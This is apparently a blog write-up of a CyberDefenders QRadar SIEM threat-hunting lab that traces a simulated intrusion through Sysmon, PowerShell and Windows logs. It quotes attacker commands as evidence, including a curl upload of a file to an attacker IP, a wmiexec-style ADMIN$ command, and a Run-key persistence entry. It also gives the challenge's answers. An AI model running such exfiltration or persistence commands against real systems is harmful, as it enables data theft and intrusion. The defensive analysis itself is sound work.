QRadar101: Reconstructing an Attack Through SIEM Evidence

A SIEM rarely gives you the full story.

You usually get fragments:

a suspicious login,
a PowerShell event,
an unfamiliar process,
an external IP,
a deleted file.

The difficult part is not finding these events.

The difficult part is connecting them without jumping to conclusions.

In this investigation, I worked through QRadar101, a Threat Hunting challenge from CyberDefenders, using IBM QRadar to investigate a compromised financial environment.

The objective was not simply to answer 24 questions.

It was to use the available logs to understand what happened, where it started, how the attacker moved, what they changed, and what they tried to remove afterward.

This write-up documents the investigation step by step — including failed searches, false positives, incorrect assumptions, and the evidence that eventually led to each conclusion.

Scenario

A financial company has been compromised, and multiple systems inside the environment are showing suspicious activity.

The SOC has received alerts indicating the use of known offensive tools, and there is a suspicion that an insider may have helped the attacker.

As an SOC analyst, the task is to investigate the available data in IBM QRadar SIEM, identify the attacker’s activity, understand how the attack progressed, and reconstruct the incident from the available evidence.

The investigation includes data from several sources:

• Sysmon
• PowerShell Logging
• Windows Event Logs
• Suricata IDS
• Zeek logs

The challenge contains 24 questions, but solving them requires more than searching for individual keywords.

The goal is to correlate:

• Users
• Hosts
• IP addresses
• Processes
• File activity
• Network connections
• Authentication events
• Timestamps
• Persistence mechanisms
• Lateral movement
• Exfiltration activity

and eventually reconstruct the complete attack chain.

Investigation Environment

The investigation was performed using:

• IBM QRadar SIEM
• Sysmon
• PowerShell Logging
• Windows Event Logs
• Suricata IDS
• Zeek logs

Most of the investigation was performed from:

Log Activity → New Search

I also used:

• Payload searches
• Regular expressions
• AQL
• Group By
• Order By Count
• Offenses
• Log Source information
• Individual event payloads

One of the first important lessons was that the Time Range matters.

QRadar can be configured to show real-time events, but the CyberDefenders scenario contains historical data.

So if a search returns nothing, that does not automatically mean that the event does not exist.

Before changing the query, I learned to check:

Time Range

and make sure the search actually covers the period of the investigation.

Q1 — How many log sources are available?

I started by checking the available log sources instead of immediately searching for suspicious activity.

I opened:

Admin → Data Sources → Log Sources

The Log Sources page displayed the configured sources.

At the bottom of the table, QRadar showed:

Displaying 1 to 15 of 15 items

This directly gave me the total number of log sources available in the environment.

Evidence

Answer

15

Q2 — Which IDS is being used?

Since I was already inside the Log Sources section, I continued reviewing the available sources.

I looked through the different log source types until I found:

SO-Suricata

The log source type was:

Suricata

This confirmed which IDS was being used in the environment.

Evidence

Answer

Suricata

Q3 — What is the domain name?

For this question, I needed to identify the Windows domain from the available authentication logs.

I opened:

Log Activity → New Search

and focused on Windows successful logon events.

The relevant Windows event was:

Event ID 4624

I used an AQL query to search for these events:

SELECT * FROM events WHERE "eventId" = 4624

The search returned:

1,531 events

The events were concentrated around the November 2020 timeframe.

Instead of trying to answer the question from the event name alone, I opened one of the events and inspected the complete payload.

The payload contained:

Computer=DC.hackdefend.local

and:

Account Domain: HACKDEFEND

This gave me the internal Windows domain.

Evidence

Answer

HACKDEFEND.LOCAL

Q4 — Which IP address ends with “20”?

While inspecting the event information, I also checked the IP address associated with the Domain Controller.

The address was:

192.168.20.20

The question specifically asked for the IP address ending in 20, and the event information matched that requirement.

Evidence

192.168.20.20

Q5 — Which Suricata SID appears most frequently?

This question required more than finding a single Suricata event.

I needed to determine which SID appeared most frequently across the Suricata alerts.

My first attempt was to group the events by SID directly.

The search did not return useful results:

No results were returned

Instead of assuming the Suricata data was missing, I changed the search approach.

I used:

Payload Matches Regular Expression

with:

sid

After finding the relevant events, I configured the columns so that I could:

Group By → RULE SID

and:

Order By → Count → Descending

This allowed me to compare the frequency of each SID.

The highest result represented approximately 64% of the matching events.

The SID was:

2027865

Evidence

Answer

2027865

Q6 — What is the attacker’s IP address?

For this question, I moved to another part of QRadar instead of relying only on Log Activity.

I opened the:

Offenses

tab.

The goal was to identify an offense that could reveal suspicious external communication.

One of the offenses stood out:

Excessive Firewall Denies Between Hosts containing Firewall - Deny

I opened the offense and inspected the source and destination information.

The offense showed:

Source IP:
192.20.80.25

and:

Destination IPs:
Local (250)

An external address attempting to communicate with a large number of internal hosts and repeatedly receiving firewall denies was highly suspicious.

This made:

192.20.80.25

a strong candidate for the attacker’s infrastructure.

Evidence

Answer

192.20.80.25

Q7 — What is the project name?

This was the first search where I ran into a problem that was not related to the keyword itself.

I opened:

Log Activity → New Search

and searched for:

project

using the payload search.

The result was:

No results were returned

At first, I considered whether I was using the wrong field or whether the word project existed in a different log source.

Before changing the query completely, I checked the Time Range.

QRadar was still showing:

Viewing real time events

The challenge data was historical, so the search was not looking at the correct period.

I expanded the time range and repeated the same search.

This time, I started getting PowerShell events.

One of the relevant events was:

Event ID 4103

which represents PowerShell Module Logging activity.

I opened the event and inspected the payload.

The event contained:

ParameterBinding(Get-ChildItem):
name="Filter"
value="project48-transactions.xlsx"

The filename revealed the project name:

project48

Evidence

Answer

project48

Q8 — What was the IP address of the first compromised machine?

The same PowerShell event contained additional information.

I did not stop after finding project48.

I opened the complete payload and checked the host-related fields.

The event showed:

Computer=HD-FIN-03.hackdefend.local

and:

OriginatingComputer=192.168.10.15

This connected the activity to the machine:

HD-FIN-03

with IP:

192.168.10.15

Evidence

Answer

192.168.10.15

Q9 — What was the username of the compromised user?

Again, I continued inspecting the same event instead of performing an entirely new investigation.

The payload also contained:

User=nour

and:

Domain=HACKDEFEND

This identified the compromised account.

Evidence

Answer

nour

Investigation Note

Questions 7, 8, and 9 were all connected to the same event.

This was a useful reminder that when investigating a SIEM alert, I should inspect the full event payload.

A single event can contain:

• Username
• Hostname
• IP address
• Command
• Domain
• Process information

Searching for only one field can cause you to miss the rest of the evidence.

Q10 — What type of logging was the attacker checking?

Now that I knew the compromised username was:

nour

I used that information to continue the timeline.

I searched for activity associated with:

nour

and then sorted the results chronologically.

The timeline showed:

22:38:15 — PowerShell Console Started
22:38:25 — PowerShell Console Ready
22:39:08 → 22:41:14 — Module Logging Command Invocation

I opened the PowerShell events and inspected the commands being executed.

The sequence clearly showed an interactive PowerShell session followed by PowerShell Module Logging activity.

The investigation pointed to the attacker checking:

PowerShell logging

Evidence

Answer

PowerShell

Q11 — What was the name of the second machine used to cover the insider’s tracks?

At this point, I started following the insider-related evidence.

One of the clues was:

sami.xlsx

I searched for this filename in QRadar.

The results included a deletion command:

cmd.exe /Q /c del sami.xlsx

I inspected the event details to identify where this activity came from.

The source IP was:

192.168.13.11

I then compared the IP with the available host information.

The address mapped to:

MGNT-01

This indicated that the second machine involved in covering the insider’s tracks was MGNT-01.

Evidence

Answer

MGNT-01

Q12 — When did the first malicious connection to the Domain Controller occur?

This was one of the questions where my first investigation path produced a misleading result.

I initially created a search using:

Log Source = DC

and:

Event Name = Network connection detected

The first event I saw was:

10:35:09 AM

At first, this looked like it might be the answer.

However, I inspected the event more carefully.

The source and destination were both:

192.168.20.20

That did not make sense as the first malicious connection from another compromised machine to the Domain Controller.

So I reconsidered the search logic.

The important point was understanding Sysmon Event ID 3.

A network connection event is recorded from the perspective of the machine initiating the connection.

Therefore, if another compromised host connects to the DC, searching only for events where the DC is the log source can cause me to miss the initiating event.

I removed the Log Source restriction and searched across all relevant sources.

After following the timeline, the first relevant malicious connection appeared at:

November 8, 2020
11:14:10 PM

The connection originated from the compromised environment and represented the first malicious connection to the DC identified during the investigation.

Evidence

Answer

11:14:10 PM — November 8, 2020

Q13 — What is the malicious file’s MD5 hash?

This question required another adjustment in the search strategy.

My first attempt was to search for:

hash

The search returned:

18 results

but most of the results were unrelated Zeek HTTP traffic.

Some of the results contained strings such as:

pieceshash

which came from Windows Update URLs rather than actual file hashes.

This was a good example of why generic keyword searches can create false positives.

I then tried more specific searches such as:

SHA256=

and:

MD5=

but the results were still noisy.

So instead of searching for the word hash, I searched for the event type that actually records file hashes.

The relevant event was:

Sysmon Event ID 15
FileCreateStreamHash

I opened the matching event and inspected the payload.

The event showed:

TargetFilename:
C:\Users\nour.HACKDEFEND\Downloads\important_instructions.docx

and the hash information included:

MD5=9D08221599FCD9D35D11F9CBD6A0DEA3

This gave me the MD5 directly from the Sysmon evidence.

Evidence

Answer

9D08221599FCD9D35D11F9CBD6A0DEA3

Q14 — What is the MITRE persistence technique?

For this question, I initially made an incorrect assumption.

Get Baraa Mohamed’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Because I had already found evidence of a newly created account, I initially considered:

T1136.002 — Create Account: Domain Account

as the persistence technique.

However, that was not what the evidence for this question was showing.

I went back to the event data and searched for activity involving:

CurrentVersion\Run

This returned a RegistryEvent.

The event contained:

RuleName: T1060,RunKey

and:

EventType: SetValue

The target object was:

HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\SsGHOMcjsj

The value pointed to:

C:\Windows\TEMP\PjvQTe.vbs

This was clear evidence of Registry Run Key persistence.

The event used the older MITRE technique name:

T1060

The current MITRE ATT&CK technique corresponding to this behavior is:

T1547.001

Evidence

Answer

T1547.001 — Registry Run Keys / Startup Folder

Q15 — What protocol was used for host discovery?

Now I moved to network discovery activity.

I focused on the compromised machine:

192.168.10.15

and inspected its network traffic.

The activity showed ICMP connections toward a sequence of addresses:

192.168.20.1
192.168.20.2
192.168.20.3
...
192.168.20.30

The sequential pattern was consistent with a host discovery sweep.

Rather than contacting one known host, the source was checking multiple addresses within the same network.

Evidence

Answer

ICMP

Q16 — Which email service was being used?

This question required more investigation because the obvious approach did not provide a useful result.

I initially searched for traditional email-related ports:

25
110
143
465
587
993
995

The returned events were not enough to identify a legitimate email service.

A large portion of the suspicious traffic was related to the attacker’s infrastructure.

I therefore excluded the attacker’s IP:

192.20.80.25

After excluding it, the traditional email-port traffic did not provide a useful answer.

So I changed the approach.

Instead of looking only at traditional email ports, I looked at:

Destination Port = 443

I then grouped the destination IP addresses to identify frequently contacted infrastructure.

The results included Microsoft-associated IP ranges such as:

52.114.x.x
40.x.x.x
51.x.x.x
20.x.x.x

The destination infrastructure was consistent with Microsoft’s cloud services.

This pointed to:

Office365

as the email service.

Evidence

Answer

Office365

Q17 — What is the name of the malicious file?

The malicious filename was already visible in the Sysmon Event ID 15 evidence investigated in Q13.

The payload contained:

TargetFilename:
C:\Users\nour.HACKDEFEND\Downloads\important_instructions.docx

The file was therefore:

important_instructions.docx

Evidence

Answer

important_instructions.docx

Q18 — What was the name of the newly created account?

For this question, I searched for:

Event ID 4720

This is the Windows event associated with user account creation.

The relevant event showed:

Username: Administrator
AccountName: rambo

The important field was the newly created account:

rambo

Evidence

Answer

rambo

Q19 — What was the PID of the process that performed Process Injection?

I already had the suspicious executable:

FSETPBEUsIek.exe

So I searched for events associated with this process.

One of the important Sysmon events was:

CreateRemoteThread

I opened the event payload and found:

SourceProcessId: 7384
SourceImage:
C:\Users\nour.HACKDEFEND\FSETPBEUsIek.exe

The same event showed the target:

TargetProcessId: 3828
TargetImage:
C:\Windows\SysWOW64\notepad.exe

This distinction was important.

The source process was performing the injection, while notepad.exe was the target.

Therefore, the PID of the process performing the injection was:

7384

Evidence

Answer

7384

Q20 — What tool was used for lateral movement?

This question was another example where the search syntax itself caused a problem.

I searched for:

ADMIN$

but QRadar returned:

No results were returned

The issue was the $ character.

Because the search was interpreted as a regular expression, $ has a special meaning.

I therefore escaped the character:

ADMIN\$

This time, the search returned:

31 events

I opened several of the matching events and compared the command patterns.

One of the commands looked like:

cmd.exe /Q /c whoami
1> \\127.0.0.1\ADMIN$\__1604913874.5822518 2>&1

Other events followed the same general pattern.

The use of:

ADMIN$

combined with the command execution pattern was characteristic of:

wmiexec.py

from the Impacket toolkit.

Evidence

Answer

wmiexec.py

Q21 — What tool was used for exfiltration?

I returned to the file:

sami.xlsx

and searched for related activity.

One of the events contained a command using:

curl

The command was:

cmd.exe /Q /c curl -X PUT --upload-file sami.xlsx http://192.20.80.25:8000

This was direct evidence of the file being uploaded to the attacker’s server.

The destination was:

192.20.80.25:8000

and the file being transferred was:

sami.xlsx

The tool performing the transfer was:

curl

Evidence

Answer

curl

Q22 — Who is the legitimate second Domain Admin besides Administrator?

For this question, my first search did not work as expected.

I initially searched for a specific event related to:

Special privileges assigned to a new logon

but I selected the wrong QID, so the search returned no useful results.

Instead of continuing with the same narrow filter, I simplified the search.

I searched for:

Special privileges

Then I grouped the results by username.

The results included:

N/A          → 1471
Administrator → 36
DWM-1         → 14
Adam          → 12
LOCAL SERVICE → 6
adam          → 2
rambo         → 1

I then excluded the system-related accounts.

I also excluded:

rambo

because it had already been identified as a suspicious account created during the attack.

The strongest remaining legitimate Domain Admin candidate was:

Adam

Evidence

Answer

Adam

Q23 — What network was scanned?

The host discovery activity identified earlier showed the compromised machine:

192.168.10.15

sending ICMP traffic toward:

192.168.20.1

through:

192.168.20.30

The addresses belonged to the:

192.168.20.0/24

network.

This was therefore the network targeted by the host discovery scan.

Evidence

Answer

192.168.20.0

Q24 — Which employee recruited the attacker?

This was the most inferential question in the investigation.

I searched for:

sami

The search returned several events.

However, the name did not appear directly as a username in the relevant evidence.

Instead, it appeared repeatedly as part of the filename:

sami.xlsx

That file was connected to the exfiltration activity and was later deleted as part of the attempt to cover tracks.

Based on the evidence available in the challenge, the name associated with the insider activity was:

sami

This conclusion is more inferential than some of the other answers because the evidence connects the name through the filename rather than directly identifying an employee account.

Evidence

Answer

sami

Reconstructing the Attack

After going through the 24 questions individually, the events could be connected into a much clearer attack timeline.

1. Initial Compromise

November 8–22:29

A file named:

important_instructions.docx

was downloaded into the compromised user’s Downloads directory:

C:\Users\nour.HACKDEFEND\Downloads\

The file was associated with the user:

nour

on:

HD-FIN-03
192.168.10.15

2. Malicious Execution

22:35

The suspicious executable:

FSETPBEUsIek.exe

was executed.

The Sysmon CreateRemoteThread event showed:

SourceProcessId: 7384

injecting into:

notepad.exe
TargetProcessId: 3828

This established process injection activity.

3. PowerShell Activity

22:38–22:41

An interactive PowerShell session appeared under the compromised account.

The timeline showed:

22:38:15 — PowerShell Console Started
22:38:25 — PowerShell Console Ready
22:39:08–22:41:14 — Module Logging Command Invocation

During this activity, the attacker searched for:

project48-transactions.xlsx

which revealed:

project48

4. Host Discovery

The compromised host:

192.168.10.15

performed ICMP-based discovery against:

192.168.20.0/24

The sequential destination addresses indicated that the attacker was checking which hosts were active.

5. First Connection to the Domain Controller

November 8–23:14:10

The first relevant malicious connection toward the Domain Controller was identified.

The investigation had to be expanded beyond the DC log source because the network connection event was recorded from the perspective of the initiating machine.

6. Lateral Movement

November 9–09:24–09:25

The attacker began executing commands remotely.

The events contained the characteristic:

ADMIN$

command redirection pattern.

After escaping the $ character in the QRadar search, the events became visible.

The command pattern was associated with:

wmiexec.py

7. New Account Creation

09:27

The attacker created a new account:

rambo

The activity was recorded through:

Event ID 4720

This provided the attacker with another account inside the environment.

8. Registry Persistence

09:53

A Registry Run Key was created:

HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\SsGHOMcjsj

The value pointed to:

C:\Windows\TEMP\PjvQTe.vbs

The behavior mapped to:

T1547.001

9. Data Exfiltration

10:29

The attacker accessed:

sami.xlsx

and used:

curl

to upload it to:

192.20.80.25:8000

The command was:

curl -X PUT --upload-file sami.xlsx http://192.20.80.25:8000

This provided direct evidence of data exfiltration.

10. Covering Tracks

10:38–10:43

The file:

sami.xlsx

was later deleted from:

MGNT-01

The deletion command was:

cmd.exe /Q /c del sami.xlsx

This activity connected the second machine with the attempt to remove evidence.

Final Attack Chain

The investigation can therefore be summarized as:

Malicious Document
       ↓
Compromised User: nour
       ↓
FSETPBEUsIek.exe
       ↓
Process Injection into notepad.exe
       ↓
PowerShell Activity
       ↓
Project Discovery
       ↓
ICMP Network Discovery
       ↓
Connection to Domain Controller
       ↓
wmiexec.py Lateral Movement
       ↓
Account Creation: rambo
       ↓
Registry Run Key Persistence
       ↓
Data Exfiltration using curl
       ↓
File Deletion / Covering Tracks

What This Investigation Taught Me

The biggest takeaway from QRadar101 was not a specific QRadar query.

It was learning how to investigate the result instead of trusting the first result.

Several times, the first search produced:

No results

or returned information that looked relevant but was actually misleading.

The investigation repeatedly required me to:

• Check the Time Range
• Change the search scope
• Inspect the complete payload
• Understand the event’s perspective
• Escape regex characters
• Remove false positives
• Compare timestamps
• Correlate activity across different hosts
• Reconsider an initial assumption

For example, searching for:

hash

was much less effective than understanding that Sysmon Event ID 15 contains file hash information.

Searching for:

ADMIN$

did not work until I understood how $ was interpreted by the regex search.

And filtering only on the Domain Controller could have caused me to miss the actual initiating machine in the network connection investigation.

The most useful mindset throughout the investigation was:

Search → Inspect → Validate → Correlate → Reassess → Conclude

A single event rarely tells the entire story.

The real value of a SIEM investigation comes from connecting those individual events into a timeline that explains what happened, how it happened, and what the attacker did next.